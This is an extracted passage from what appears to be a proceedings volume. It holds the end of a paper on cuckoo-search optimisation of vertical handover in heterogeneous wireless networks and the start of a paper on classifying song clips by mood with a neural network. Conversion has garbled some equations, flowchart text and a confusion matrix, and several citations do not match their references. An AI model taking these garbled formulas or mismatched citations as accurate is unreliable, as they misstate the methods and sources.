In this paper our simulation result shows that the number of handovers can be
minimized if we take optimized network parameter values.

Keywords Vertical Handoff Cuckoo algorithm Number of handovers

Heterogeneous network Best network Parameter optimization
1 Introduction
Currently, there are many advances in compactness, low-power design, and

development of seamless radio access networks with sudden increase in the user
demand for getting high-speed access. These are vital aspects that lead to
deployment of a huge number of mobile and wireless networks. Wireless tech-
nologies are varying, which drives present wireless networks to be heterogeneous
and thus provide new applications (multimedia like audio, video, and text services),
ease as well as smooth transition across multiple wireless network interfaces. As we
are aware, fourth generation wireless communication system provides solution for
S.A. Kumar (&)

Jawaharlal Nehru Technological University, Hyderabad, India
e-mail: anand.80.kumar@gmail.com
K.E.S. Murthy
Adishankara College of Engineering and Technology, Nellore, India
e-mail: kesmurthy@rediffmail.com

146 S.A. Kumar and K.E.S. Murthy
heterogeneous wireless networks due to greater potential of providing higher data

transfer rates, which effectively use sophisticated control mechanisms, supporting
seamless mobility for users. Our present paper presents vertical handoff manage-
ment schemes and mainly focuses on the handoff decision problem. In order to keep
decision phase in global phase and prove its major contributions in optimization of
vertical handover performance it leads handover to be extremely important in
heterogeneous networks because of cellular architecture involvement that maximize
the spectrum utilization efficiently. Due to connectivity reasons in heterogeneous
networks, vertical handover needs to be initiated and the decision mainly depends
on certain parameters like user-related, terminal-related, and network-related while
choosing for better networks. From the above discussion, network-related param-
eters are mainly defined for latency, bandwidth, received signal strength (RSS),
signal-to-interference ratio (SIR), security, cost, etc. Consequently, terminal-related
parameters are defined for battery power, velocity, location awareness information,
etc. Finally user-related parameters deal with user preferences and profiles and
offers good service capabilities.
• For instance, the first option minimizes handover latency, cost of operation, and
avoids unnecessary handovers to occur.
• The second option satisfies network requirements like maximization of channel
capacity and network utilization.
• The third option can satisfy user requirements by providing active application
with high degree of QoS. The above processes need the following decision
factors like policy algorithms and control schemes.
1.1 Benefits of Wireless Network
Small businesses can experience many benefits from a wireless network. There are
a few handover protocols in WSN, among them the standard ZigBee handover is in
specification IEEE 802.15.4 [1] and ZigBee specification [2, 3]. For instance, if an
associated node wants to leave the PAN, it will send a disassociation notification
command to its coordinator. The sensor node scans all channels from the lowest
channel number to the highest in order with peak energy.
Types of Wireless Networks Wireless PAN, wireless LAN, wireless mesh net-
work, wireless MAN, wireless WAN, and cellular network. Generally to solve
NP-hard problems we have heuristic and metaheuristic algorithms which have been
proposed. Many branches like science, engineering, economics, and business have
optimization problems that are complex and cannot be solved easily within a rea-
sonable amount of time [4]. Since they possess two main characteristics that make
them difficult due to their impureness, i.e., they involve a heterogeneous set of side
constraints [5]. From the above situations we can say that metaheuristic techniques
Minimizing Excessive Handover Using Optimized Cuckoo Algorithm … 147
are the alternative solution for such problems. For this, much research is focused on
metaheuristics where it can be defined as a set of algorithmic concepts applicable
for a wide set of different problems; also its use has increased a lot because of its
way of finding solutions in a reasonable time [6].
Several examples of metaheuristics are evolutionary algorithms like:
• Simulated annealing
• Tabu search, scatter search
• Variable neighborhood search
• Memetic algorithms
• Ant colony optimization
• Cuckoo search, and others.
The above algorithms successfully solve problems that include scheduling,

time-tabling, network design, transportation and distribution problems, vehicle
routing, the traveling salesman problem, and others [7]. In nonoptimized technique,
the algorithm performance can be measured using a number of handover parameters
for all networks to have vertical handover decision.
2 Related Work
In recent works there are several vertical handover decision algorithms proposed
and categorized; among them the first is based on a conventional scheme that
employs the received signal strength (RSS) where it gets combined with other
parameters. Dwelling timer optimal value is based on the difference between the
available data transfer rates in both the networks discussed in [8] by Ylianttila et al.
Consequently, another category belongs to cost function used as the main mea-
surement that hands over to the appropriate access network.
The authors in [9] discussed several parameters like power consumption,
bandwidth availability, and cost-of-service in heterogeneous network environment
with policy-enabled handover scheme using cost function; thereby estimate for
available access networks used on handover of mobile terminal with lower cost
function can be treated as handover target. Hence, bandwidth availability and
received signal strength (RSS) of network availability are considered for having
comparisons in handover decisions. Consequently, in the third type they considered
several handover algorithms based on multiple criteria (attributes and/or objectives)
to have better handover decisions.
Nasser et al. in [1] proposed how handover decision takes place during roaming
across heterogeneous wireless networks.
Similarly, in [2] they considered intelligence and took better decisions based on
particular knowledge of the context information of mobile terminal as well as
networks.
Generally, the performance parameters of different vertical handover schemes

are broadly divided into a number of handovers: handover failure probability,
handover delay, throughput, etc., so we considered the following parameters of
network to have a better vertical handover decisions. These are signal-to-noise ratio
(SNR), latency (L), throughput (TH), cost (C), and power consumption (P). Finally,
our motto is to maximize throughput of network with minimum latency, cost,
power consumption, and improved SNR so that we can have less number of
handovers for all networks and thus maintain better QoS levels.
In order to solve capable to optimize multidimensional problems, the authors
proposed several evolutionary algorithms like genetic algorithm (GA), particle
swarm optimization (PSO), invasive weed optimization (IWO), etc. There are some
limitations to these methods that make them unreliable for use.
(a) The PSO could not be used for finding the problem of scattering and
optimization.
(b) Similarly, IWO requires the genes of minimum single parent species that can
be forwarded to next generation.
(c) Finally, GA has a poor fitness function that will generate bad chromosome that
can be capable of blocking in spite of the fact that only good chromosome
blocks cross over. Also, there is no perfect proof whether the GA will find a
global optimum solution [7].
3 Proposed Scheme
The main objective of our technique is to have an optimized system with the ability
to select the best wireless network among a group of wireless networks by con-
sidering some parameters like user preferences, wireless features for handling
heterogeneous wireless environment. For analyzing, we consider a mobile node is
making its journey in the overlapping area covered by several wireless networks
providing small to large area that were administrated by different service providers
like GSM, CDMA, WLAN, WI-FI, WI-MAX, Bluetooth/ZigBee–PAN etc., as
shown in Fig. 1. Now the mobile node wants to access VOIP application and video
services that require a proper QoS level. For our convenience, we divided networks
into three categories, namely:
• Home network (HN) in which mobile node initiates its connection.
• Target networks (TNs) in which mobile nodes intend to roam into.
• Selected network (SN) is treated as the best network to be chosen by the mobile
node that uses optimized system parameters as mentioned in the paper.
The proposed method is divided into two major parts.
(1) The former part of the paper describes a best network approach to select the
appropriate access network once the handover initiation algorithm indicates the
need to handover from predefined home network to intended target network.
Target
Network1
Home
Target Selected
Network
Network 2 Network
Target
Network n
Fig. 1 Integrated heterogeneous wireless network
(2) The second part of the motto is to find an approach to minimize the total
number of handovers in the complete heterogeneous wireless network
environment.
Our final selection algorithm is framed in [10] such a way that it selects that
network for the handover where its required bandwidth, power consumption,
signal-to-noise ratio (SNR), handover latency, operation cost are to be maintained
minimum and the throughput to be maximum. Strictly, the problem has been treated
as an optimization problem represented as minimize ∑Xi, where Xi, is the number of
handovers to be evaluated for its network i, where it can be implemented using
cuckoo algorithm and simulated using CSA.
CSA is the most popular among modern nature inspired metaheuristic algorithms,
where “meta” refers to “change” and “heuristic” refers to “discovery” oriented by
“trial and error” respectively. Several techniques are employed to minimize the
constraints of the problem for finding a global optimum solution. Generally
speaking, each cuckoo bird lays a single egg each time which can be discarded into a
randomly selected nest, where an optimum nest with good quality eggs can be
carried to next generations. The number of host nests can be static and then the host
can find an alien egg with a probability (Pa) [0, 1]. Here, presence can be treated as
either throwing away of egg or abandoning the nest by the host bird [11].
One has to observe that each egg in a nest indicates a solution and a cuckoo egg
indicates a new solution where the objective is to replace the weaker fitness solution
with that of new solution.
The procedural flowchart for CSA is shown below that involves the following
steps:
Step (1)—Let us consider a random population of n host nests, Xi.
Step (2)—Obtain a cuckoo randomly by the levy flight behavior process, i.
Step (3)—Now calculate its fitness function, Fi.

Step (4)—Choose a nest in random nature among the host nests say j and calculate
its fitness, Fj.
Step (5)—If for instance Fi > Fj, then replace j by new solution, else leave j as the
solution.
Step (6)—Leave a fraction of probability Pa of the worst nest by building new ones
at new locations with the help of levy flights.
Step (7)—Keep the current optimum nest, go to Step (2) if T (current
iteration) < MI (maximum iteration).
Step (8)—Find the optimum solution.
The important stages involved in CSA are as follows:
(i) Initialization: Introduce a random population of n host nest (Xi = 1, 2, 3, …,
n).
(ii) Levy flight behavior: Obtain a cuckoo by levy flight behavior equation which
is defined as follows:
Xi ðt þ 1Þ ¼ Xi ðtÞ þ a Levy ðkÞ; a [ 0 ð1Þ
Levy ðkÞ ¼ t ðkÞ; 1\k\3 ð2Þ

(iii) Fitness calculation: The fitness is calculated with the help of fitness function to
get the optimum solution. To analyze it choose a random test to be j. Now
compare the fitness of the cuckoo egg (new solution) with the fitness of the
host eggs (solutions) that were present in the nest. If we find the value of
fitness function of cuckoo egg is less than or equal to the fitness function value
of previously chosen random nest (j) then it can be replaced by a new solution.
Fitness function = Current best solution − Previous best solution
Since the fitness function = Current best solution − Previous best solution, the
value of the fitness function approaches the value 0 that senses the deviation
between the solutions decreases due to increase in the number of iterations.
Our final conclusion is that if the cuckoo egg is identical to a normal egg it will be
a tough job for the host bird to distinguish between the eggs. Then the fitness is
the difference in solutions [12] and the new solution is replaced by the randomly
chosen nest. In another case, when the fitness of the cuckoo egg is greater than
the randomly chosen nest, the host bird identifies the alien egg as a result of
which it may throw the egg or forsake the nest. The several phases involved in
the working of this algorithm are explained in the flowchart
(iv) Termination: In the present iteration, solution is compared and the final best
solution is passed for further process that can be achieved with fitness
function. Also, if the number of iterations considered is less than the max-
imum then it maintains the best nest. After the final execution of the ini-
tialization process, the levy flight and the fitness calculation processes, all of
the cuckoo birds get ready for their next actions. Then CSA will terminate
the process after maximum iterations [MI] have been reached.
In this part of the section, we considered evaluation parameters examined under dif-
ferent cases by the proposed optimized system using the flowchart in Fig. 2 in both the
cases to be monitored. For instance, user is running a VoIP application that needs a
stable amount of latency and power consumption. Here we consider the number of
handovers to be random population Xi and network to be levy flight behavior.
Start For instance consider mobile nodes can move

uniformly in an area covered by group of
networks managed by nearly six individual
Introduce a random population service providers as
where simulation criteria consists of access
of n host nets
networks such as GSM,CDMA,WLAN,WI-
FI,WI-MAX and Bluetooth/ZigBee-PAN.
Obtain a cuckoo randomly by the
Number of Cuckoo Birds: This parameter
Levy flight behavior process, i decides number of Cuckoo birds being
initialized in the field space.
Calculate its fitness function, Step Size: In case of CSA, step size refers to
the distance covered by a cuckoo bird for a
fixed number of iterations. It is preferred to
Chose a nest in random nature have an intermediate step size in order to
among the host nests say j and obtain an effective solution. If the step size is
calculate its fitness, too large or too small it leads to deviation
from the required optimum solutions [7].
Yes
When mobile node is busy with some sort of
> audio and video downloading from the
internet while moving in heterogeneous
No
network of overlapping wireless networks.
Then the first proposed scheme will select
Let j be the solution
appropriate network from the available
networks by considering non-optimized
parameters values of all the networks in
Replace j by new solution heterogeneous network environment as
mentioned the scheme can be simulated using
convential approach.
Leave a fraction of probability of the
worst nest by building new ones at new Similarly if we simulate same scenario with
locations with the help of Levy flights optimized parameterswith fast cuckoo search
algorithm the user can find best available
network in reasonable time by considering the
Keep the current optimum nest data provided in the table as listed in Table
1.The number of handover is greatly reduced
due to optimization of parameters like latency,
No bandwidth, SNR and power consumption.
T< MI
No Yes
Find the Best Nest
Stop
Fig. 2 Flowchart of cuckoo algorithm
Number of iterations = 500, 1000, 1500, number of nests (or different solu-
tions) = 6, discovery rate of alien eggs/solutions Pa = 0.25. The simulation result
shows that the total number of handovers is very less with optimizing the network
parameters.
In this phase we took the optimized value of different parameters so as to
minimize the total number of handover for all the networks and simulate with
cuckoo search algorithm where it finds the best network as shown in Fig. 3 in
reliable amount of time that reduces latency and reduces cost simultaneously with
less power consumption.
From Fig. 4 we observe that as number of handoff can be reduced by finding the
best solutions among solutions with optimized parameters by considering the
number of nests (networks) to be six and the discovery rate to be 0.25.
To evaluate further the effectiveness of the CSA scheme, we measure the power
consumption and average scanning delay when mobile nodes hand over. We
compare the results of our proposed scheme and the conventional scheme. Here we
take the standard ZigBee handover as the conventional scheme. For convenience of
analysis, some assumptions are as follows:
There are two PANs. In each PAN, there are five mobile nodes and a UE (user
equipment) forming a mobile cluster and N number of static nodes.
• The number of channels is 16 (ZigBee).
• The scanning delay of each PAN channel is 30 ms.
• The number of scanning channels in conventional scheme is random.
The simulation results of latency for conventional and proposed are shown in
Fig. 5, where the blue circle marker represents latency using conventional scheme,
while the red solid line marker represents the latency after using proposed handover
scheme with BS assisted.
It is clear from the simulation results that the proposed scheme greatly improves
network performance for each handover. We also measure the power consumption
of our proposed scheme and conventional scheme.
The simulation results of power consumption are shown in Fig. 6, where the blue
circle marker represents power consumption using conventional scheme, while the
red solid line marker represents power consumption using the proposed handover
scheme. It can be seen from the simulation results that the circle marker has slow
growth after the inflection point t = 100, because mobile nodes in the mobile cluster
receive neighbor PAN channel information from UE and need not scan all the
channels for handover. So the addition of handover mechanism with BS assisted
can help to reduce the handover power consumption of mobile cluster or frequent
handover power consumption of mobile nodes, because mobile nodes in mobile
cluster will obtain the target PAN channel information instead of scanning channels
to find an appropriate PAN.
Fig. 3 Selecting the best network
Fig. 4 Minimizing the number of handovers
Fig. 5 Comparisons w.r.t average delay time
Fig. 6 Comparisons w.r.t power consumption
5 Conclusion
The workout in this paper will give some kind of an idea for finding the best
network among the available networks while simultaneously reducing the unnec-
essary handover in case of heterogeneous networks by taking the help of cuckoo
search algorithms, and greatly reducing the number of handovers by selecting the
best network in a limited duration. We also studied how latency can be improved in
the ZigBee network when scanning for channels that simultaneously consume few
power resources from the available networks.
References
1. IEEE-TG15.4. Part 15.4: Wireless Medium Access Control (MAC) and Physical Layer
(PHY) Specifications for Low-Rate Wireless Personal Area Networks (LR-WPANs).In: IEEE
Standard for Information Technology, New York, 8 Sept 2006
2. ZigBee Alliance. ZigBee Specification (2007) ZigBee Standards Organization, San Ramon
(2008)
3. Karapistoli, E., Pavlidou, F.-N., Gragopoulos, I., Tsetsinas, I.: An overview of the IEEE
802.15.4a standard. IEEE Commun. Mag. 48(1), 47–53 (2010). doi:10.1109/MCOM.2010.
5394030
4. Talbi, E.-G.: Metaheuristics from Design to Implementation. Wiley, Chichester (2009)
5. Glover, F., Kochenberger, G.A.: Handbook of Metaheuristics. Kluwer Academic, Norwell
(2003)
6. Mario, D., Thomas, S. Ant Colony Optimization. MIT, Cambridge (2004)
7. Eberhart, R., Shi, Y., Kennedy, J.: Swarm Intelligence. Morgan Kaufmann, San Francisco
(2001)
8. Ylianttila et al., M.: Optimization scheme for mobile users performing vertical handoffs
between IEEE 802.11 and GPRS/EDGE Networks. In: Proceedings of IEEE
GLOBECOMM’01, San Antinio, Texas, USA, Nov 2001
9. Wang et al., H.: Policy –enabled handoffs across heterogeneous wireless networks. In:
Proceedings of Mobile Computing System and Applications. New Orleans, Feb 1999
10. Nasser, N., Hasswa, A., Hassanein, H.: Handoffs in fourth generation heterogeneous networks.
IEEE Communications Magazine, Oct 2006
11. Sood, M., Kaur, G.: Speaker recognition based on cuckoo search algorithm. Int. J. Innov.
Technol. Explor. Eng. (IJITEE) 2(5), 311–313 (2013) (ISSN: 2278-3075)
12. Balanis, C.A.: Antenna Theory Analysis and Design, 2nd edn, p. 310
13. Yang, X.-S.: Nature Inspired Meta-heuristic Algorithm, 2nd edn. Luniver Press, Beckington
(2010)
Audio Songs Classification Based
on Music Patterns
Rahul Sharma, Y.V. Srinivasa Murthy and Shashidhar G. Koolagudi
Abstract In this work, effort has been made to classify audio songs based on their
music pattern which helps us to retrieve the music clips based on listener’s taste. This
task is helpful in indexing and accessing the music clip based on listener’s state.
Seven main categories are considered for this work such as devotional, energetic,
folk, happy, pleasant, sad and, sleepy. Forty music clips of each category for training
phase and fifteen clips of each category for testing phase are considered;
vibrato-related features such as jitter and shimmer along with the mel-frequency
cepstral coefficients (MFCCs); statistical values of pitch such as min, max, mean, and
standard deviation are computed and added to the MFCCs, jitter, and shimmer which
results in a 19-dimensional feature vector. feedforward backpropagation neural
network (BPNN) is used as a classifier due to its efficiency in mapping the nonlinear
relations. The accuracy of 82 % is achieved on an average for 105 testing clips.

Keywords Music classification Music indexing and retrieval Mel-frequency

cepstral coefficients Artificial neural networks Pattern recognition Statistical

properties Vibrato
1 Introduction
Technological improvements in networks, VLSI, high bandwidth, compact disks,

and so on have led to the creation of a huge digital cloud. Organization of all the
tracks in a hierarchical structure is a tedious task and may take several human years
R. Sharma (&) Y.V. Srinivasa Murthy S.G. Koolagudi

National Institute of Technology Karnataka, 575 025 Surathkal, Karnataka, India
e-mail: rahulsharma.manali@gmail.com
URL: http://cse.nitk.ac.in
Y.V. Srinivasa Murthy
e-mail: urvishnu@gmail.com
S.G. Koolagudi
e-mail: koolagudi@yahoo.com

158 R. Sharma et al.
to do it manually. From the experiments it is clear that even after listening to 30 s of

a musical clip, it is difficult to categorize it—excluding music professionals—[1].
Hence, there is scope for researchers to automate the task of music indexing and
classification systems. Several techniques are available to access the music from a
digital cloud, but very few systems are designed to provide a relevant music based
on listener behavior. A recommendation engine should be designed to serve the
same. For instance, people may not appreciate the recommendation engine if it
provides happy music when they are in deep depression. It shows that the future of
the recommendation engine depends completely on user ratings. Proper top-level
categorization for all the tracks is a necessary task to improve the efficiency of
recommendation engine [2]. Research has provided factual metadata for digital
tracks which might be artist name, title of the track, year of publication, track
duration, and so on. The factual metadata is objective and may not contain any
information about the paramount attributes such as mood, emotions of a track,
genre, style, and so on. Also, spelling consistencies, special characters, ordering the
information should be accurate for the smooth functioning of textual data as it is
provided by the users [3, 4]. The cultural metadata does not contain any information
about the singer. Thus, the combination of factual and cultural metadata may
increase the accuracy of a recommendation engine. This work mainly focuses on
the top-level music categorization providing cultural metadata based on the music
patterns, ignoring the vocal regions.
This top-level music categorization is mainly useful in personalized music
collections where people generally classify songs based on their interest. Automatic
classification of all the available tracks is a good starting point as manual classi-
fication is a difficult and time-consuming process. Depending on the user’s own
taxonomy, the system should classify the music. Automatic music classification can
also be used in music retailers. When a consumer enters into a music store, the
catalog with classification is helpful to increase the sales. Another application of
music classification is the radio station where relevant clips are required for a
specific program. Automatic labeling of genre and playing it at a particular time
gives the scope to analyze the listener’s behavior. It also acts like an initial filter to
ignore the irrelevant music tracks for that program. One more important application
of classification is music recommendation and playlist generation. The system can
fill the playlist by observing one or two songs selected by the consumer or by
analyzing behavior from the past days.
In this work, the training and testing clips are collected from various Tollywood
songs. Seven categories are considered for this work, namely devotional, energetic,
folk, happy, pleasant, sad and sleepy as these are popular categories. The MFCCs,
statistical values of pitch, jitter and shimmer are considered as features that perform
automatic song classification with the support of artificial neural networks (ANNs).
The remainder of the paper is organized as follows: Sect. 2 discusses the related
work done in this field. The framework of the proposed system including database
collection, feature extraction process, and classification procedure is explained in
Sect. 3. Result analysis is done in Sect. 4 followed by Sect. 5, which concludes the
work with some future directions.
Audio Songs Classification Based on Music Patterns 159
2 Related Work
Music classification is the essential task for accessing the relevant music based on
listener’s interest. Feature set extraction is the basic step for any automated audio
analysis. Speech processing is the origin for audio feature extraction which is
generally extracted from the short- and long-time segments. Short- and long-time
feature extraction process with respect to audio content analysis and classification is
explained below.
In general, the short-time features are extracted from segment lengths of
10–50 ms. Spectral features such as Mel-frequency cepstral coefficients (MFCCs)
and linear prediction cepstral coefficients (LPCCs) are the widely used short-time
features in speech processing applications. Since MFCCs are much correlated with
the human articulatory system, they are also used in audio-related applications such
as singer identification systems [5–8]. The first 12 coefficients are usually consid-
ered for speech recognition applications as these are sufficient to represent the
spectrum variations and to characterize the vocal tract shape [9–12]. Cepstral
coefficients which are extracted through continuous Q transform are also used to
recognize the instruments of a given clip and proper discrimination is observed
between the two instruments, clarinet and oboe [13]. Temporal features are also
useful for instrument classification and some of them are described here.
Information regarding the excitation of an instrument is carried out by the amplitude
envelop (AE) and the shape of AE is characterized by crest factor (CF). The amount
of high pitch signals available in the music is represented by the term brightness
[14]. In general, spectral centroid (SC) is used to perceive the brightness. Also,
pitch which is extracted using harmonics of higher order will help to classify
instruments. All these temporal features are considered to classify the instruments
[15, 16]. It is shown that the combination of cepstral coefficients and temporal
features are helpful in improving the audio classification accuracy [17].
The signals that are constant with time are called stationary signals. It is a known
fact that speech and audio signals are nonstationary in nature. In general, all these
signals are represented in time domain and are not the finest representation as most
of the signal information is hidden in frequency domain. Spectral information about
the signal is achieved through Fourier transform (FT). Localized information with
respect to time is not obtained with simple FTs. Hence, short-time Fourier trans-
formations are introduced to overcome this problem, but STFT leads to poor res-
olution, i.e., for all the frequencies, they will provide constant time resolution.
Hence, discrete wavelet transforms (DWTs)—a special version of wavelet trans-
form—are introduced to give the time and frequency domain information simul-
taneously [18, 19]. DWTs are considered in [20] and Daubechies wavelet
coefficients histograms are analyzed in [21] for the task of automatic audio clas-
sification systems.
The long-time features such as pitch, beat, and so on may not classify the audio
segments properly if they are used alone [22]. It is also stated that if these are
combined with spectral features, it may give better classification. In general, sta-
tistical properties are used to characterize the music genre. Effort has been made
with statistical properties such as mean, variance, and autocorrelation for the
features pitch, amplitude, brightness, and bandwidth for the tasks of audio classi-
fication, grouping the instruments, audio content search, and retrieval [23]. The
existing works are not much concentrated on the amplitude and pitch variations in a
given signal, which may be helpful for the task of audio classification. Various
classifiers are used for the task of audio classification such as logistic regression,
artificial neural networks (ANNs), decision trees (DTs), linear discriminant analysis
(LDA), nearest centroid (NC), and sparse representation-based classifier (SRC).
This work mainly focuses on the use of pitch and amplitude variation for audio
classification. These are combined with spectral features such as MFCCs to
improve the classification. Statistical parameters such as min, max, mean, and
standard deviation are computed for the pitch. All these values made a
19-dimensional feature set. Artificial neural network (ANN) is considered as a
classifier due to their efficiency in mapping the nonlinear relations. The process of
feature extraction and classification procedure is described in Sect. 3.2.
3 Proposed Framework for Song Classification
Audio songs classification system (ASCS) shown in Fig. 1 illustrates the proposed
framework, which includes database collection, feature extraction, and classification
process for the task of ASCS. The following subsections explain the same in detail.
3.1 Database Collection
Two datasets are considered for the classification of seven categories. The seven
categories are devotional, energetic, folk, happy, pleasant, sad and sleepy.
The music clips are collected from high quality commercial Tollywood audio sites
Fig. 1 The proposed framework for Audio songs classification system (ASCS)
(e.g. Raaga.com1) sampled at 44,100 Hz with 16-bit linear PCM. The set of 300
music clips of length 2–3 s is created for the training set and uniformly distributed
among the categories. For testing, 15 clips are considered for each category with a
length of 10 s each. Care has been taken to avoid similarity in training and testing
clips. Prior to the training and testing set distribution, mean opinion score has been
taken from 25 listeners to label the song categories. Later, the results are compared
with the results obtained from the proposed system.
Feature extraction is the basic step in any speech and audio processing applications.
In the literature, various features are suggested for the task of music classification.
Vibrato-related features are not much concentrated on. The fluctuations in pitch and
amplitude in music clips is the main motivation for considering the vibrato infor-
mation as a feature. Along with them, MFCCs and statistical values of pitch are
computed. The methods to extract the specified features are described as follows:
MFCC Extraction: MFCCs are short-time spectral features and are widely used in
speech processing applications. Studies in [24] state that these are helpful, even in
music signal processing applications. It is also stated that small a subset of MFCCs
is sufficient to model the music signal information, particulary 4–20 features.
Generally, MFCCs are extracted from speech segments of interval 10–50 ms For
this task, the clips are divided into 25 ms frames to extract MFCC features. Since
40–50 % of hop length is good enough to avoid smoothness problems, a hop length
of 10 ms is applied. The steps to extract MFCCs are as follows [25]:
i. Each frame is represented in the frequency domain using a fast FT.

ii. Use the band-pass filter bank to compute the mel-warped spectrum.
iii. Apply logarithm on the result of each band.
iv. Compute the discrete cosine transform (DCT) for the resulting bands.
Pitch-Related Features: The information related to the melody and harmony of

the audio signals is described using pitch content features. In general, peaks from
the autocorrelation are extracted to calculate the pitch period. The reciprocal of
pitch period is computed to extract the pitch frequency. A minimum two pitch
periods are required for pitch detection using autocorrelation method. It may not be
an efficient enough technique for music content analysis. Hence,
subharmonic–-harmonic ratio (SHR) technique proposed by [26] is considered for
this work based on the following two points: (i) alternate cycles are sufficient to
estimate the pitch for human and (ii) subharmonics in the frequency domain are
1
http://www.raaga.com.
used to express the alternate cycles of time domain. In general, music category is
characterized by the statistical parameters. Thus, statistical values such as mini-
mum, maximum, mean, and standard deviation are extracted as pitch-related fea-
tures for this work.
Jitter and Shimmer Extraction Process: Jitter is the cycle-to-cycle variation in
the pitch and shimmer is the variation in the amplitude values of successive pitch
cycles [27]. Vibrato features are used to catch the sudden deviation in pitch and
amplitude, hence jitter and shimmer are considered for this work.
The combination of MFCCs (13), statistical values of pitch (4), jitter (1) and
shimmer (1) are considered to create the 19-dimensional feature vector. This feature
vector is used to identify the hidden patterns in music which are useful for audio
classification.
3.3 ANN Classifier
ANN consists of a high number of tightly coupled processing elements, called

neurons. Together, these neurons are used to map the nonlinear relations and to
solve the problems. Multilayer perceptron (MLP) is most widely used in the pattern
recognition applications. The major drawback of neural network is their incapa-
bility to process the dynamic patterns; SVM also suffers from the same problem. To
overcome the problem in simple neural network and to include the contextual
information, feed forward time-delay neural networks (TDNN) are introduced [28].
Technological improvements in NN introduces backpropagation neural network
(BPNN), Elman neural network (ENN), and explicit time modeling neural network
(ETM-NN) to model the temporal structure of music. These structures are not yet
used for the tasks of music classification. BPNN is considered for this work with
one input, one hidden, and one output layer (shown in Fig. 2). Input layer contains
19 neurons which are the same as feature vector size. Experiments in [29] show that
the number of hidden layer neurons should be equal to 1.5–2 times the input
neurons to achieve better classification. Thus, 38 neurons are considered for hidden
layer. The output layer contains 7 neurons for classifying a given song clip to any
one of the seven categories. The output value of each neuron lies between 0 and 1.
4 Result Analysis
The proposed system is validated by extracting features like MFCCs, statistical

value of pitch, jitter, and shimmer. BPNN is used as a classifier. BPNN is initially
trained with features (discussed in Sect. 3.2) which are extracted from 300 music
clips of length 2 s and uniformly distributed among the seven categories which
result in a network with converged weights. Fifteen clips are considered in each
Fig. 2 Artificial neural network model for the song classification system
category with an estimate length of 10 s to measure the accuracy of the system.

Each clip is divided into segments of length 25 ms and considered for testing. Then,
it is labeled with appropriate class based on classifier output. Majority voting is
applied on all the segments out of which the maximum classified label is considered
to assign the category for the given clip.
The results obtained for the proposed approach are represented using confusion
matrix shown in Table 1. In the matrix, columns represent the actual class and rows
represent the predicted class. For instance, table (row 3, column 1) with value
x means that x values are classified as _ out of 15. Recognition count is placed in
each cell, diagonal values (represented in bold) indicate the correct classification.
The confusion matrix conveys that some of the misclassifications are common
between system and human. For example, misclassifications in pleasant and sleepy
songs are devotional, most of the times.
Figure 3 shows the segment level classification for seven categories. The feature
set extracted from 25 ms is given as input for testing the ANN. Later, unique color
is assigned to each segment based on the output of ANN. Seven different colors are
used for seven categories. On an average 12–13 clips are correctly identified using
these features from each category. Overall, accuracy of 82 % is achieved for the
system.
Table 1 Confusion matrix P/A De En Fo Ha Pl Sa Sl

for the song classification
system. P/A → De 14 1 1 3 2 0 1
predicted/actual class, En 1 13 0 2 1 1 0
De → devotional, Fo 0 0 14 0 1 1 0
En → energetic, Fo → folk, Ha 0 0 0 10 0 0 1
Ha → happy, Pl → pleasant,
Pl 0 1 0 0 9 0 0
Sa → sad and Sl → sleepy
Sa 0 0 0 0 1 13 0
Sl 0 0 0 0 1 0 13
Fig. 3 Representation of segment level classification for seven categories ((a–g) indicates
devotional to sleepy). Color representations: yellow → devotional, magenta → energetic,
cyan → folk, red → happy, green → pleasant, blue → sad and black → sleepy
In this paper, song classification is done based on music patterns only. The music
clips are collected from Tollywood high quality audio CDs and web. The dataset is
categorized into seven categories based on the mean opinion score. Mean opinion
score from 25 users is taken to select the category for each music clip. To design a
baseline system, MFCCs are used as features. Statistical values of pitch along with
vibrato features such as jitter and shimmer are considered. The combination of all
these features is used to create a 19-dimensional feature vector. The music patterns
are nonlinear in nature. ANN is used to map the nonlinear relations effectively.
Feed forward backpropagation neural network (BPNN) is an advancement of ANN.
An effort has been made with BPNN to classify the given music clip into any of the
seven categories. On an average 18 % error in recognition rate is reported with this
approach.
The categories which are considered in this work are limited to seven. The
proposed system is more confusing for the sad versus devotional, happy versus
energetic, pleasant versus devotional and pleasant versus sleepy due to similarity
between them. Signal level analysis is to be enhanced to produce the evidence for
audio songs classification system which may useful in indexing and categorizing
the music. The system may reduce the human working hours and it can add value to
the hidden treasures.
References
1. Perrot, D., Gjerdigen, R.: Scanning the dial: an exploration of factors in the identification of
musical style. In: Proceedings of the 1999 Society for Music Perception and Cognition, p. 88
(1999)
2. Park, H.S., Yoo, J.O., Cho, S.B.: A context-aware music recommendation system using fuzzy
bayesian networks with utility theory. In: Fuzzy Systems and Knowledge Discovery,
pp. 970–979. Springer (2006)
3. Casey, M.A., Veltkamp, R., Goto, M., Leman, M., Rhodes, C., Slaney, M.: Content-based
music information retrieval: current directions and future challenges. Proc. IEEE 96, 668–696
(2008)
4. Freed, A.: Music metadata quality: a multiyear case study using the music of skip james. In:
Audio Engineering Society Convention 121, Audio Engineering Society (2006)
5. Mesaros, A., Virtanen, T., Klapuri, A.: Singer Identification in Polyphonic Music Using Vocal
Separation and Pattern Recognition Methods, pp. 375–378. ISMIR (2007)
6. Ratanpara, T., Patel, N.: Singer identification using mfcc and lpc coefficients from indian
video songs. In: Emerging ICT for Bridging the Future-Proceedings of the 49th Annual
Convention of the Computer Society of India (CSI), vol. 1, pp. 275–282. Springer (2015)
7. Cai, W., Li, Q., Guan, X.: Automatic singer identification based on auditory features. In: Seventh
International Conference on Natural Computation (ICNC), IEEE, vol. 3, pp. 1624–1628 (2011)
8. Mesaros, A., Astola, J.: The Mel-Frequency Cepstral Coefficients in the Context of Singer
Identification, pp. 610–613. ISMIR, Citeseer (2005)
9. Rabiner, L.R., Juang, B.H.: Fundamentals of speech recognition, vol. 14. PTR Prentice Hall
Englewood Cliffs (1993)
10. Seddik, H., Rahmouni, A., Sayadi, M.: Text independent speaker recognition using the mel
frequency cepstral coefficients and a neural network classifier. In: First International
Symposium on Control, Communications and Signal Processing, IEEE, pp. 631–634 (2004)
11. Fredrickson, S., Tarassenko, L.: Text-Independent Speaker Recognition Using Neural
Network Techniques (1995)
12. Mafra, A.T., Simões, M.G.: Text independent automatic speaker recognition using
selforganizing maps. In: Industry Applications Conference, 2004. 39th IAS Annual
Meeting. Conference Record of the 2004 IEEE, vol. 3, pp. 1503–1510 (2004)
13. Brown, J.C.: Computer identification of musical instruments using pattern recognition with
cepstral coefficients as features. J. Acoustical Soc. Am. 105, 1933–1941 (1999)
14. Collier, W.G., Hubbard, T.L.: Musical scales and brightness evaluations: effects of pitch,
